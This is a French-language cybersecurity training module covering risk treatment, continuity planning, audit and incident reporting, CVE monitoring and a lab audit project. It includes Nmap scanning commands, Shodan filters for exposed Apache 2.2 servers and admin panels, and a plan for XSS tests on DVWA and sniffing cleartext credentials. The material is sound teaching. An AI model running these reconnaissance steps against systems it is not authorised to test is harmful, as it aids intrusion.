Score  6-12 → Modéré   ► Traiter
Score 15-25 → Élevé    ► Traiter/Transférer
StratégieDéfinitionQuandExemple
T1 — TolérerAccepter le risqueRisque faible, coût correction > impactBug mineur dans un outil peu utilisé
T2 — TraiterRéduire probabilité ou impactRisque modéré à élevéInstaller un patch, configurer un firewall
T3 — TransférerConfier le risque à un tiersRisque financier importantCyber-assurance couvrant les ransomwares
T4 — TerminerSupprimer l'activité générant le risqueRisque trop élevéFermer un service web obsolète non patchable
Ransomware : probabilité 4, impact 5. Score = 20. Quelle stratégie ?
Partie 5 — Gouvernance, Audit & Résilience PRA & PCA RTO · RPO · BIA · Scénarios de crise
⏱ 16 min

PRA, PCA & Continuité de service

Différence PRA vs PCA, RPO/RTO, BIA, scénarios de crise (ransomware, panne datacenter) et tests de reprise.

✓ Ce que vous allez apprendre
  • PRA vs PCA — différences et articulation
  • RPO et RTO en pratique
  • Scénarios de crise : ransomware, panne datacenter, zero-day
  • Tests de reprise obligatoires

1
PRA vs PCA & métriques
Reprise · Continuité · RTO · RPO
CritèrePRAPCA
ObjectifRedémarrer après un sinistreNe jamais s'arrêter
DéclenchementAprès l'incidentPendant l'incident
RTO viséHeures à joursMinutes (quasi-transparent)
CoûtMoins coûteuxTrès coûteux (infrastructure redondante)
ExempleRansomware → restaurer les backupsPanne datacenter → basculer sur site secondaire
MétriqueDéfinitionExemple
RPOPerte de données maximale acceptableRPO=4h → sauvegarder toutes les 4h
RTODurée maximale d'indisponibilité acceptableRTO=2h → système opérationnel en moins de 2h

2
Scénarios de crise & tests
Ransomware · Panne · Zero-Day · Tests obligatoires
textScénarios de crise — réponses
Scénario 1 : Ransomware
  ● Isoler immédiatement les machines infectées
  ● Identifier le patient zéro et le vecteur d'entrée
  ● Activer le PRA : restaurer depuis le dernier backup sain
  ● Ne JAMAIS payer la rançon

Scénario 2 : Panne datacenter
  ● Activer le PCA : basculer sur site secondaire
  ● Rediriger le DNS vers l'infrastructure de secours

Scénario 3 : Zero-Day critique
  ● Isoler les systèmes affectés
  ● Appliquer des compensating controls en attendant le patch

Tests obligatoires :
  ● Test théorique (revue)    → annuel
  ● Test à blanc (simulation) → semestriel
  ● Test réel (basculement)   → annuel
RPO de 15 minutes pour un système bancaire. Quelle fréquence de sauvegarde minimum ?
Partie 5 — Gouvernance, Audit & Résilience Audit & Rapport IOC · Timeline · CVSS · Remédiation
⏱ 18 min

Audit de sécurité & rapport d'incident

Conduire un audit technique (4 phases), rédiger un rapport d'incident (timeline, IOC, impact), plan de remédiation priorisé CVSS.

✓ Ce que vous allez apprendre
  • Audit technique — 4 phases, outils, livrables
  • Structure d'un rapport d'incident (timeline, IOC, impact)
  • Plan de remédiation priorisé par CVSS

1
Audit de sécurité — 4 phases
Préparation · Reconnaissance · Analyse · Rapport
PhaseActionsOutilsLivrables
1. PréparationDéfinir le périmètre, autorisationFormulaire signéLettre de mission
2. ReconnaissanceCartographier l'infrastructureNmap, Shodan, WAFW00FInventaire actifs
3. AnalyseScanner les vulnérabilitésOpenVAS, Burp Suite, NiktoListe vulns CVSS
4. RapportDocumenter, prioriser par CVSSTemplate de rapportRapport + plan remédiation

2
Rapport d'incident — structure type
Timeline · IOC · Impact CIA · Plan CVSS
textRapport d'incident — structure
1. RESUME EXECUTIF
   Nature, date/heure, systèmes affectés, impact métier

2. TIMELINE
   13h42 → Premier paquet SYN de l'IP 185.x.x.x
   13h47 → Exploitation CVE détectée par Snort
   14h05 → Détection SIEM — équipe alertée
   14h12 → Isolation du serveur affecté

3. IOC (Indicateurs de Compromission)
   IP source : 185.x.x.x (Roumanie)
   User-Agent : sqlmap/1.6
   Hash webshell : SHA256:3b4c...

4. IMPACT
   Données exfiltrées : table users (1 247 lignes)
   CIA : Confidentialité + Intégrité

5. PLAN DE REMEDIATION (priorisé CVSS)
   CRITIQUE [9.8] → Patcher SQLi — immédiat
   HIGH     [8.1] → Migrer MDP vers bcrypt — 48h
   HIGH     [7.5] → Déployer WAF — 1 semaine
À quoi servent les IOC (IP, hash malware, user-agent) après un incident ?
Partie 5 — Gouvernance, Audit & Résilience Veille CVE & Roadmap NVD · CERT-MA · Shodan · Certifications
⏱ 14 min

Veille CVE, certifications & roadmap SSI

Sources de veille (NVD, Mitre, CERT-MA, ANSSI), Shodan, certifications (CEH, OSCP, Security+, CISSP) et roadmap analyste SOC → RSSI.

✓ Ce que vous allez apprendre
  • Sources de veille CVE — NVD, Mitre, CERT-MA, ANSSI, OWASP
  • Shodan — reconnaissance OSINT
  • Certifications SSI — Security+, CEH, OSCP, CISSP
  • Roadmap carrière : SOC Analyst → RSSI

1
Sources de veille & Shodan
NVD · Mitre · CERT-MA · ANSSI · Shodan OSINT
SourceURLContenu
NVDnvd.nist.govBase officielle des CVE avec scores CVSS
CVE Mitrecve.mitre.orgIdentifiants CVE et descriptions techniques
CERT-MAma-cert.maAlertes de sécurité spécifiques au Maroc
ANSSIcert.ssi.gouv.frBulletins sécurité (référence francophone)
OWASPowasp.orgTop 10, outils, méthodologies web
Shodanshodan.ioMoteur de recherche d'appareils connectés exposés
bashShodan — recherches OSINT
# Serveurs Apache 2.2 au Maroc
# Filtre : apache/2.2 country:"MA"

# Interfaces admin exposées
# Filtre : title:"admin" port:80 country:"MA"

# CLI Shodan
pip install shodan
shodan init VOTRE_API_KEY
shodan search --fields ip_str,port,org "apache 2.2 country:MA"

2
Certifications & roadmap SSI
Security+ · CEH · OSCP · CISSP · SOC → RSSI
CertificationNiveauFocusValeur
Security+DébutantFondamentaux SSI★★★★ — Point d'entrée mondial
CEHIntermédiaireHacking éthique★★★★ — Pentesting
OSCPAvancéPentesting pratique (examen 24h)★★★★★ — Gold standard
CISSPExpertGouvernance, architecture★★★★★ — Indispensable RSSI
textRoadmap SSI — 4 niveaux
N1 — Technicien (0-2 ans)
  Admin système/réseau, Wireshark, Nmap
  Certification : Security+
  Poste : Analyste SOC N1

N2 — Analyste (2-5 ans)
  Pentesting, analyse malwares, SIEM
  Certification : CEH
  Poste : Pentesteur, SOC N2

N3 — Expert (5-8 ans)
  Red Team, threat hunting, architecture
  Certification : OSCP
  Poste : Red Teamer, architecte sécurité

N4 — RSSI / CISO (8+ ans)
  Gouvernance, risques, conformité, management
  Certification : CISSP
  Poste : RSSI, DPO, Directeur cybersécurité
Shodan trouve 3 serveurs Apache 2.2 de votre organisation exposés. Première action ?
Projet Final — AuditReconnaissance
⏱ 20 min

Projet — Reconnaissance & cartographie

Phase 1 : Nmap (découverte, ports, OS), OSINT, WAFW00F, inventaire des actifs exposés.


★
Phase 1 — Cartographie
bashReconnaissance complète
# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24

# Scan complet de la cible
nmap -sV -O -p- 192.168.1.100

# Scan des vulnérabilités courantes
nmap --script=vuln 192.168.1.100

# Détecter le WAF
wafw00f http://192.168.1.100

# Headers HTTP (OSINT)
curl -I http://192.168.1.100
Projet Final — AuditExploitation contrôlée
⏱ 22 min

Projet — Exploitation contrôlée

Phase 2 : XSS sur DVWA, scan OpenVAS, Wireshark, rapport de vulnérabilités CVSS.


★
Phase 2 — Tests d'exploitation
textPlan d'exploitation
① XSS sur DVWA (Low/Medium/High)
   Tester XSS Stockée + XSS DOM
   Documenter : payload, résultat, niveau qui bloque

② Scan OpenVAS de la cible
   Full and fast scan
   Exporter le rapport PDF
   Top 3 vulnérabilités (par CVSS)

③ Capture Wireshark pendant les tests
   Filtre : http, http.cookie, tcp.flags.syn
   Documenter les credentials HTTP en clair

④ Rapport de vulnérabilités
   CRITIQUE : [CVSS X.X] ...
   HIGH     : [CVSS X.X] ...
   MEDIUM   : [CVSS X.X] ...
Projet Final — AuditContre-mesures
⏱ 18 min

Projet — Contre-mesures & Hardening

Phase 3 : iptables, HTTPS OpenSSL, fail2ban, WAF, Squid proxy.


★
Phase 3 — Déploiement des contre-mesures
bashContre-mesures complètes
# 1. iptables
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 2. HTTPS avec OpenSSL
openssl req -newkey rsa:2048 -keyout serveur.key -out serveur.csr -nodes
openssl x509 -req -in serveur.csr -signkey serveur.key -out serveur.crt -days 365

# 3. fail2ban
sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd

# 4. WAFW00F vérification
wafw00f http://localhost
Projet Final — AuditChiffrement & Sauvegarde
⏱ 16 min

Projet — Chiffrement & Sauvegarde sécurisée

Phase 4 : AES avec OpenSSL, Ccrypt, rdiff-backup SSH.


★
Phase 4 — Chiffrement et sauvegarde
bashChiffrement AES + rdiff-backup
# Chiffrer avec OpenSSL AES-256
openssl enc -aes-256-cbc -pbkdf2     -in donnees.txt -out donnees.enc -k "MDP_Fort_2024!"
openssl enc -d -aes-256-cbc -pbkdf2     -in donnees.enc -out donnees_dechiffrees.txt -k "MDP_Fort_2024!"

# Chiffrer avec Ccrypt
ccencrypt rapport_audit.pdf

# Sauvegarde locale
sudo rdiff-backup /var/www/html/ /backup/web/

# Sauvegarde distante SSH
rdiff-backup /var/www/ root@192.168.1.200::/backup/prod/

# Vérifier l'intégrité
sha256sum donnees.txt > checksum.sha256
sha256sum -c checksum.sha256
Projet Final — AuditRapport complet
⏱ 18 min

Projet — Rapport d'audit complet

Phase 5 (synthèse) : rapport complet avec PSSI draft, rapport d'incident et plan de remédiation CVSS.


★
Rapport final & bilan M108
textStructure du rapport final
RAPPORT D'AUDIT DE SECURITE — PROJET FINAL M108

1. RESUME EXECUTIF
   Périmètre, méthodologie, synthèse des vulnérabilités

2. PHASE 1 — Reconnaissance
   Résultats Nmap : hôtes, ports, services, OS
   Résultat WAFW00F : WAF présent/absent

3. PHASE 2 — Exploitation
   XSS DVWA : payloads testés, niveaux vulnérables
   OpenVAS : top 3 vulnérabilités CVSS

4. PHASE 3 — Contre-mesures
   iptables configuré, HTTPS activé, fail2ban

5. PHASE 4 — Chiffrement
   AES-256 + Ccrypt + rdiff-backup opérationnel

6. PLAN DE REMEDIATION (CVSS)
   CRITIQUE [9.0+] → Immédiat
   HIGH     [7.0+] → 1 semaine
   MEDIUM   [4.0+] → 1 mois
✓ Bilan M108 — compétences acquises
PartieCompétences
P1 — FondamentauxCIA, McCumber, CVE, OWASP Top 10, XSS, SQLi, DDoS, Phishing
P2 — CryptographieAES-256, RSA, PKI, Loi 09-08, RGPD, RBAC, TLS, rdiff-backup
P3 — Red TeamDVWA, Blackphish, Wireshark, GoldenEye, OpenVAS, CVSS v3
P4 — Blue Teamiptables, WAF, fail2ban, SSH, IDS/IPS, SIEM, IOC
P5 — GouvernancePSSI, EBIOS RM, PRA/PCA, Audit, veille CVE, roadmap SSI